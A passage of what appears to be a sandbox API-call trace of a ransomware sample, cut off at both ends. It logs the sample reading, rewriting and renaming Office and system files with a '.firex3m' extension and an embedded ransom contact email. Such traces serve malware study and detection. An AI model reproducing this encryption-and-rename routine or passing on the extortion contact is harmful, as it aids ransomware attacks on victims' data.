ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26b89f63, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26b89f63, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x96a40, dwReserved0=0x740063, dwReserved1=0x73002d, cFileName="MSOICONS.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSOICO~1.FIR")) returned 0x6d5400 [0265.658] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0265.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSOICONS.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\msoicons.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0265.658] GetProcessHeap () returned 0x630000 [0265.658] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70234e0 [0265.659] GetProcessHeap () returned 0x630000 [0265.659] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x702e910 [0265.659] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.659] ReadFile (in: hFile=0x5ec, lpBuffer=0x70234e0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70234e0*, lpNumberOfBytesRead=0x537ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0271.918] GetProcessHeap () returned 0x630000 [0271.918] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0271.918] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.918] WriteFile (in: hFile=0x5ec, lpBuffer=0x702e910*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x702e910*, lpNumberOfBytesWritten=0x537ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0273.673] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.673] WriteFile (in: hFile=0x5ec, lpBuffer=0x7039d0f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7039d0f*, lpNumberOfBytesWritten=0x537ff0c*=0x20, lpOverlapped=0x0) returned 1 [0273.675] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.675] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x537ff0c*=0x4, lpOverlapped=0x0) returned 1 [0273.675] CloseHandle (hObject=0x5ec) returned 1 [0273.675] GetProcessHeap () returned 0x630000 [0273.675] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x702e910 | out: hHeap=0x630000) returned 1 [0273.675] GetProcessHeap () returned 0x630000 [0273.675] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70234e0 | out: hHeap=0x630000) returned 1 [0273.675] GetProcessHeap () returned 0x630000 [0273.675] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0273.675] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0273.676] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSOICONS.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fcc4 | out: lpFindFileData=0x537fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26b89f63, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x691145d5, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x96a64, dwReserved0=0xa187496, dwReserved1=0x70234d8, cFileName="MSOICONS.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSOICO~1.FIR")) returned 0x6d5040 [0273.676] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0273.676] Sleep (dwMilliseconds=0x1) [0275.814] SysReAllocStringLen (in: pbstr=0x537ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERTIBD.TTF", len=0x44 | out: pbstr=0x537ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERTIBD.TTF") returned 1 [0275.815] GetProcessHeap () returned 0x630000 [0275.815] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ae4) returned 0x6fe3bb0 [0275.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERTIBD.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\pertibd.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0275.840] CloseHandle (hObject=0x6a8) returned 1 [0275.840] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0275.840] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERTIBD.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\pertibd.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERTIBD.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\pertibd.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0275.842] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0275.842] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERTIBD.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fc6c | out: lpFindFileData=0x537fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87a1bac5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87a1bac5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87feb6a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbcc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PERTIBD.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PERTIB~1.FIR")) returned 0x6d5340 [0275.842] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0275.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERTIBD.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\pertibd.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0275.842] GetProcessHeap () returned 0x630000 [0275.842] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7553aa0 [0275.842] GetProcessHeap () returned 0x630000 [0275.842] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x74a9e90 [0275.842] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0275.842] ReadFile (in: hFile=0x6a8, lpBuffer=0x7553aa0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7553aa0*, lpNumberOfBytesRead=0x537ff0c*=0xb400, lpOverlapped=0x0) returned 1 Thread: id = 66 os_tid = 0x1368 [0067.529] Sleep (dwMilliseconds=0x1) [0067.538] Sleep (dwMilliseconds=0x1) [0067.554] Sleep (dwMilliseconds=0x1) [0067.655] Sleep (dwMilliseconds=0x1) [0067.663] Sleep (dwMilliseconds=0x1) [0067.678] Sleep (dwMilliseconds=0x1) [0067.694] Sleep (dwMilliseconds=0x1) [0067.709] Sleep (dwMilliseconds=0x1) [0067.726] Sleep (dwMilliseconds=0x1) [0067.741] Sleep (dwMilliseconds=0x1) [0067.764] Sleep (dwMilliseconds=0x1) [0067.772] Sleep (dwMilliseconds=0x1) [0067.789] Sleep (dwMilliseconds=0x1) [0067.932] Sleep (dwMilliseconds=0x1) [0068.038] Sleep (dwMilliseconds=0x1) [0068.152] Sleep (dwMilliseconds=0x1) [0068.278] Sleep (dwMilliseconds=0x1) [0068.400] Sleep (dwMilliseconds=0x1) [0068.494] Sleep (dwMilliseconds=0x1) [0068.544] Sleep (dwMilliseconds=0x1) [0068.699] Sleep (dwMilliseconds=0x1) [0068.746] Sleep (dwMilliseconds=0x1) [0068.793] Sleep (dwMilliseconds=0x1) [0068.841] Sleep (dwMilliseconds=0x1) [0068.885] Sleep (dwMilliseconds=0x1) [0068.933] Sleep (dwMilliseconds=0x1) [0068.977] Sleep (dwMilliseconds=0x1) [0069.046] Sleep (dwMilliseconds=0x1) [0069.106] Sleep (dwMilliseconds=0x1) [0069.157] Sleep (dwMilliseconds=0x1) [0069.199] Sleep (dwMilliseconds=0x1) [0069.248] Sleep (dwMilliseconds=0x1) [0069.294] Sleep (dwMilliseconds=0x1) [0069.376] Sleep (dwMilliseconds=0x1) [0069.436] Sleep (dwMilliseconds=0x1) [0069.481] Sleep (dwMilliseconds=0x1) [0069.524] Sleep (dwMilliseconds=0x1) [0069.687] Sleep (dwMilliseconds=0x1) [0069.921] Sleep (dwMilliseconds=0x1) [0070.145] Sleep (dwMilliseconds=0x1) [0070.264] Sleep (dwMilliseconds=0x1) [0070.380] Sleep (dwMilliseconds=0x1) [0070.536] Sleep (dwMilliseconds=0x1) [0070.874] Sleep (dwMilliseconds=0x1) [0071.564] Sleep (dwMilliseconds=0x1) [0071.940] Sleep (dwMilliseconds=0x1) [0072.424] Sleep (dwMilliseconds=0x1) [0072.605] Sleep (dwMilliseconds=0x1) [0072.801] Sleep (dwMilliseconds=0x1) [0072.953] Sleep (dwMilliseconds=0x1) [0073.102] Sleep (dwMilliseconds=0x1) [0073.606] Sleep (dwMilliseconds=0x1) [0073.777] Sleep (dwMilliseconds=0x1) [0073.976] Sleep (dwMilliseconds=0x1) [0074.072] Sleep (dwMilliseconds=0x1) [0074.182] Sleep (dwMilliseconds=0x1) [0074.379] Sleep (dwMilliseconds=0x1) [0074.672] Sleep (dwMilliseconds=0x1) [0074.770] Sleep (dwMilliseconds=0x1) [0074.850] Sleep (dwMilliseconds=0x1) [0074.906] Sleep (dwMilliseconds=0x1) [0074.999] Sleep (dwMilliseconds=0x1) [0075.062] Sleep (dwMilliseconds=0x1) [0075.104] Sleep (dwMilliseconds=0x1) [0075.159] Sleep (dwMilliseconds=0x1) [0075.221] Sleep (dwMilliseconds=0x1) [0075.259] Sleep (dwMilliseconds=0x1) [0075.309] Sleep (dwMilliseconds=0x1) [0075.357] Sleep (dwMilliseconds=0x1) [0075.426] Sleep (dwMilliseconds=0x1) [0075.515] Sleep (dwMilliseconds=0x1) [0075.566] Sleep (dwMilliseconds=0x1) [0075.614] Sleep (dwMilliseconds=0x1) [0075.697] Sleep (dwMilliseconds=0x1) [0075.745] Sleep (dwMilliseconds=0x1) [0075.791] Sleep (dwMilliseconds=0x1) [0075.832] Sleep (dwMilliseconds=0x1) [0076.048] Sleep (dwMilliseconds=0x1) [0076.059] Sleep (dwMilliseconds=0x1) [0076.086] Sleep (dwMilliseconds=0x1) [0076.104] Sleep (dwMilliseconds=0x1) [0076.189] Sleep (dwMilliseconds=0x1) [0076.388] Sleep (dwMilliseconds=0x1) [0076.533] Sleep (dwMilliseconds=0x1) [0076.668] Sleep (dwMilliseconds=0x1) [0076.773] Sleep (dwMilliseconds=0x1) [0076.806] Sleep (dwMilliseconds=0x1) [0076.845] Sleep (dwMilliseconds=0x1) [0076.869] Sleep (dwMilliseconds=0x1) [0076.923] Sleep (dwMilliseconds=0x1) [0076.982] Sleep (dwMilliseconds=0x1) [0077.071] Sleep (dwMilliseconds=0x1) [0077.152] Sleep (dwMilliseconds=0x1) [0077.221] Sleep (dwMilliseconds=0x1) [0077.289] Sleep (dwMilliseconds=0x1) [0077.359] Sleep (dwMilliseconds=0x1) [0077.412] Sleep (dwMilliseconds=0x1) [0077.520] Sleep (dwMilliseconds=0x1) [0077.598] Sleep (dwMilliseconds=0x1) [0077.648] Sleep (dwMilliseconds=0x1) [0077.689] Sleep (dwMilliseconds=0x1) [0077.736] Sleep (dwMilliseconds=0x1) [0077.782] Sleep (dwMilliseconds=0x1) [0077.832] Sleep (dwMilliseconds=0x1) [0077.857] Sleep (dwMilliseconds=0x1) [0077.911] Sleep (dwMilliseconds=0x1) [0077.958] Sleep (dwMilliseconds=0x1) [0077.981] Sleep (dwMilliseconds=0x1) [0078.062] Sleep (dwMilliseconds=0x1) [0078.090] Sleep (dwMilliseconds=0x1) [0078.114] Sleep (dwMilliseconds=0x1) [0078.137] Sleep (dwMilliseconds=0x1) [0078.198] Sleep (dwMilliseconds=0x1) [0078.221] Sleep (dwMilliseconds=0x1) [0078.240] Sleep (dwMilliseconds=0x1) [0078.250] Sleep (dwMilliseconds=0x1) [0078.274] Sleep (dwMilliseconds=0x1) [0078.283] Sleep (dwMilliseconds=0x1) [0078.316] Sleep (dwMilliseconds=0x1) [0078.357] Sleep (dwMilliseconds=0x1) [0078.382] Sleep (dwMilliseconds=0x1) [0078.448] Sleep (dwMilliseconds=0x1) [0078.532] Sleep (dwMilliseconds=0x1) [0078.564] Sleep (dwMilliseconds=0x1) [0078.610] Sleep (dwMilliseconds=0x1) [0078.627] Sleep (dwMilliseconds=0x1) [0078.645] Sleep (dwMilliseconds=0x1) [0078.659] Sleep (dwMilliseconds=0x1) [0078.676] Sleep (dwMilliseconds=0x1) [0078.710] Sleep (dwMilliseconds=0x1) [0078.718] Sleep (dwMilliseconds=0x1) [0078.741] Sleep (dwMilliseconds=0x1) [0078.751] Sleep (dwMilliseconds=0x1) [0078.772] Sleep (dwMilliseconds=0x1) [0078.781] Sleep (dwMilliseconds=0x1) [0078.843] Sleep (dwMilliseconds=0x1) [0078.891] Sleep (dwMilliseconds=0x1) [0078.929] Sleep (dwMilliseconds=0x1) [0078.944] Sleep (dwMilliseconds=0x1) [0078.961] Sleep (dwMilliseconds=0x1) [0078.977] Sleep (dwMilliseconds=0x1) [0079.004] Sleep (dwMilliseconds=0x1) [0079.030] Sleep (dwMilliseconds=0x1) [0079.051] Sleep (dwMilliseconds=0x1) [0079.078] Sleep (dwMilliseconds=0x1) [0079.100] Sleep (dwMilliseconds=0x1) [0079.115] Sleep (dwMilliseconds=0x1) [0079.131] Sleep (dwMilliseconds=0x1) [0079.158] Sleep (dwMilliseconds=0x1) [0079.226] Sleep (dwMilliseconds=0x1) [0079.249] Sleep (dwMilliseconds=0x1) [0079.271] Sleep (dwMilliseconds=0x1) [0079.285] Sleep (dwMilliseconds=0x1) [0079.302] Sleep (dwMilliseconds=0x1) [0079.313] Sleep (dwMilliseconds=0x1) [0079.332] Sleep (dwMilliseconds=0x1) [0079.346] Sleep (dwMilliseconds=0x1) [0079.363] Sleep (dwMilliseconds=0x1) [0079.376] Sleep (dwMilliseconds=0x1) [0079.400] Sleep (dwMilliseconds=0x1) [0079.414] Sleep (dwMilliseconds=0x1) [0079.425] Sleep (dwMilliseconds=0x1) [0079.445] Sleep (dwMilliseconds=0x1) [0079.519] Sleep (dwMilliseconds=0x1) [0079.541] Sleep (dwMilliseconds=0x1) [0079.548] Sleep (dwMilliseconds=0x1) [0079.599] Sleep (dwMilliseconds=0x1) [0079.613] Sleep (dwMilliseconds=0x1) [0079.627] Sleep (dwMilliseconds=0x1) [0079.644] Sleep (dwMilliseconds=0x1) [0079.659] Sleep (dwMilliseconds=0x1) [0079.678] Sleep (dwMilliseconds=0x1) [0079.694] Sleep (dwMilliseconds=0x1) [0079.731] Sleep (dwMilliseconds=0x1) [0079.805] Sleep (dwMilliseconds=0x1) [0079.811] Sleep (dwMilliseconds=0x1) [0079.835] Sleep (dwMilliseconds=0x1) [0079.885] Sleep (dwMilliseconds=0x1) [0079.900] Sleep (dwMilliseconds=0x1) [0079.912] Sleep (dwMilliseconds=0x1) [0079.935] Sleep (dwMilliseconds=0x1) [0079.987] Sleep (dwMilliseconds=0x1) [0080.047] Sleep (dwMilliseconds=0x1) [0080.071] Sleep (dwMilliseconds=0x1) [0080.083] Sleep (dwMilliseconds=0x1) [0080.101] Sleep (dwMilliseconds=0x1) [0080.135] Sleep (dwMilliseconds=0x1) [0080.161] Sleep (dwMilliseconds=0x1) [0080.172] Sleep (dwMilliseconds=0x1) [0080.239] Sleep (dwMilliseconds=0x1) [0080.259] Sleep (dwMilliseconds=0x1) [0080.270] Sleep (dwMilliseconds=0x1) [0080.284] Sleep (dwMilliseconds=0x1) [0080.302] Sleep (dwMilliseconds=0x1) [0080.315] Sleep (dwMilliseconds=0x1) [0080.344] Sleep (dwMilliseconds=0x1) [0080.360] Sleep (dwMilliseconds=0x1) [0080.385] Sleep (dwMilliseconds=0x1) [0080.391] Sleep (dwMilliseconds=0x1) [0080.411] Sleep (dwMilliseconds=0x1) [0080.425] Sleep (dwMilliseconds=0x1) [0080.442] Sleep (dwMilliseconds=0x1) [0080.502] Sleep (dwMilliseconds=0x1) [0080.527] Sleep (dwMilliseconds=0x1) [0080.543] Sleep (dwMilliseconds=0x1) [0080.550] Sleep (dwMilliseconds=0x1) [0080.565] Sleep (dwMilliseconds=0x1) [0080.584] Sleep (dwMilliseconds=0x1) [0080.604] Sleep (dwMilliseconds=0x1) [0080.616] Sleep (dwMilliseconds=0x1) [0080.658] Sleep (dwMilliseconds=0x1) [0080.675] Sleep (dwMilliseconds=0x1) [0080.702] Sleep (dwMilliseconds=0x1) [0080.724] Sleep (dwMilliseconds=0x1) [0080.764] Sleep (dwMilliseconds=0x1) [0080.789] Sleep (dwMilliseconds=0x1) [0080.803] Sleep (dwMilliseconds=0x1) [0080.821] Sleep (dwMilliseconds=0x1) [0080.834] Sleep (dwMilliseconds=0x1) [0080.849] Sleep (dwMilliseconds=0x1) [0080.886] Sleep (dwMilliseconds=0x1) [0080.895] Sleep (dwMilliseconds=0x1) [0080.914] Sleep (dwMilliseconds=0x1) [0080.926] Sleep (dwMilliseconds=0x1) [0080.938] Sleep (dwMilliseconds=0x1) [0080.961] Sleep (dwMilliseconds=0x1) [0080.974] Sleep (dwMilliseconds=0x1) [0080.993] Sleep (dwMilliseconds=0x1) [0081.001] Sleep (dwMilliseconds=0x1) [0081.030] Sleep (dwMilliseconds=0x1) [0081.052] Sleep (dwMilliseconds=0x1) [0081.284] Sleep (dwMilliseconds=0x1) [0081.434] Sleep (dwMilliseconds=0x1) [0081.524] Sleep (dwMilliseconds=0x1) [0081.540] Sleep (dwMilliseconds=0x1) [0081.561] Sleep (dwMilliseconds=0x1) [0081.582] Sleep (dwMilliseconds=0x1) [0081.599] Sleep (dwMilliseconds=0x1) [0081.614] Sleep (dwMilliseconds=0x1) [0081.628] Sleep (dwMilliseconds=0x1) [0081.665] Sleep (dwMilliseconds=0x1) [0081.682] Sleep (dwMilliseconds=0x1) [0081.693] Sleep (dwMilliseconds=0x1) [0081.708] Sleep (dwMilliseconds=0x1) [0081.758] Sleep (dwMilliseconds=0x1) [0081.775] Sleep (dwMilliseconds=0x1) [0081.790] Sleep (dwMilliseconds=0x1) [0081.832] Sleep (dwMilliseconds=0x1) [0081.850] Sleep (dwMilliseconds=0x1) [0081.885] Sleep (dwMilliseconds=0x1) [0081.894] Sleep (dwMilliseconds=0x1) [0081.909] Sleep (dwMilliseconds=0x1) [0081.927] Sleep (dwMilliseconds=0x1) [0081.942] Sleep (dwMilliseconds=0x1) [0081.968] Sleep (dwMilliseconds=0x1) [0081.986] Sleep (dwMilliseconds=0x1) [0082.003] Sleep (dwMilliseconds=0x1) [0082.035] Sleep (dwMilliseconds=0x1) [0082.051] Sleep (dwMilliseconds=0x1) [0082.068] Sleep (dwMilliseconds=0x1) [0082.113] Sleep (dwMilliseconds=0x1) [0082.132] Sleep (dwMilliseconds=0x1) [0082.152] Sleep (dwMilliseconds=0x1) [0082.158] Sleep (dwMilliseconds=0x1) [0082.195] Sleep (dwMilliseconds=0x1) [0082.214] Sleep (dwMilliseconds=0x1) [0082.232] Sleep (dwMilliseconds=0x1) [0082.259] Sleep (dwMilliseconds=0x1) [0082.277] Sleep (dwMilliseconds=0x1) [0082.294] Sleep (dwMilliseconds=0x1) [0082.309] Sleep (dwMilliseconds=0x1) [0082.371] Sleep (dwMilliseconds=0x1) [0082.418] Sleep (dwMilliseconds=0x1) [0082.540] Sleep (dwMilliseconds=0x1) [0082.588] Sleep (dwMilliseconds=0x1) [0082.636] Sleep (dwMilliseconds=0x1) [0082.683] Sleep (dwMilliseconds=0x1) [0082.728] Sleep (dwMilliseconds=0x1) [0082.776] Sleep (dwMilliseconds=0x1) [0082.821] Sleep (dwMilliseconds=0x1) [0082.870] Sleep (dwMilliseconds=0x1) [0082.916] Sleep (dwMilliseconds=0x1) [0082.968] Sleep (dwMilliseconds=0x1) [0083.015] Sleep (dwMilliseconds=0x1) [0083.055] Sleep (dwMilliseconds=0x1) [0083.103] Sleep (dwMilliseconds=0x1) [0083.151] Sleep (dwMilliseconds=0x1) [0083.200] Sleep (dwMilliseconds=0x1) [0083.242] Sleep (dwMilliseconds=0x1) [0083.293] Sleep (dwMilliseconds=0x1) [0083.337] Sleep (dwMilliseconds=0x1) [0083.385] Sleep (dwMilliseconds=0x1) [0083.436] Sleep (dwMilliseconds=0x1) [0083.703] Sleep (dwMilliseconds=0x1) [0083.751] Sleep (dwMilliseconds=0x1) [0083.802] Sleep (dwMilliseconds=0x1) [0083.913] Sleep (dwMilliseconds=0x1) [0084.012] Sleep (dwMilliseconds=0x1) [0084.093] Sleep (dwMilliseconds=0x1) [0084.202] Sleep (dwMilliseconds=0x1) [0084.343] Sleep (dwMilliseconds=0x1) [0084.738] Sleep (dwMilliseconds=0x1) [0084.811] Sleep (dwMilliseconds=0x1) [0084.877] Sleep (dwMilliseconds=0x1) [0084.961] Sleep (dwMilliseconds=0x1) [0085.045] Sleep (dwMilliseconds=0x1) [0085.126] Sleep (dwMilliseconds=0x1) [0085.176] Sleep (dwMilliseconds=0x1) [0085.347] Sleep (dwMilliseconds=0x1) [0085.389] Sleep (dwMilliseconds=0x1) [0085.736] Sleep (dwMilliseconds=0x1) [0085.831] Sleep (dwMilliseconds=0x1) [0085.964] Sleep (dwMilliseconds=0x1) [0086.082] Sleep (dwMilliseconds=0x1) [0086.187] Sleep (dwMilliseconds=0x1) [0086.236] Sleep (dwMilliseconds=0x1) [0086.294] Sleep (dwMilliseconds=0x1) [0086.352] Sleep (dwMilliseconds=0x1) [0086.588] Sleep (dwMilliseconds=0x1) [0086.898] Sleep (dwMilliseconds=0x1) [0087.024] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd", len=0x2e | out: pbstr=0x54bff7c*="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 1 [0087.024] GetProcessHeap () returned 0x630000 [0087.024] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1268, Size=0xc) returned 0x6b12b0 [0087.086] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0087.086] CloseHandle (hObject=0x648) returned 1 [0087.087] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.087] MoveFileW (lpExistingFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), lpNewFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0087.087] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0087.087] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfc6c | out: lpFindFileData=0x54bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PARTNE~1.FIR")) returned 0x6d5080 [0087.087] FindClose (in: hFindFile=0x6d5080 | out: hFindFile=0x6d5080) returned 1 [0087.088] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0087.088] GetProcessHeap () returned 0x630000 [0087.088] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d77d8 [0087.088] GetProcessHeap () returned 0x630000 [0087.088] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d81f8 [0087.088] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.088] ReadFile (in: hFile=0x648, lpBuffer=0x6d77d8, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d77d8*, lpNumberOfBytesRead=0x54bff0c*=0x240, lpOverlapped=0x0) returned 1 [0087.133] GetProcessHeap () returned 0x630000 [0087.133] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8730 [0087.133] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.133] WriteFile (in: hFile=0x648, lpBuffer=0x6d81f8*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d81f8*, lpNumberOfBytesWritten=0x54bff0c*=0x240, lpOverlapped=0x0) returned 1 [0087.134] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, 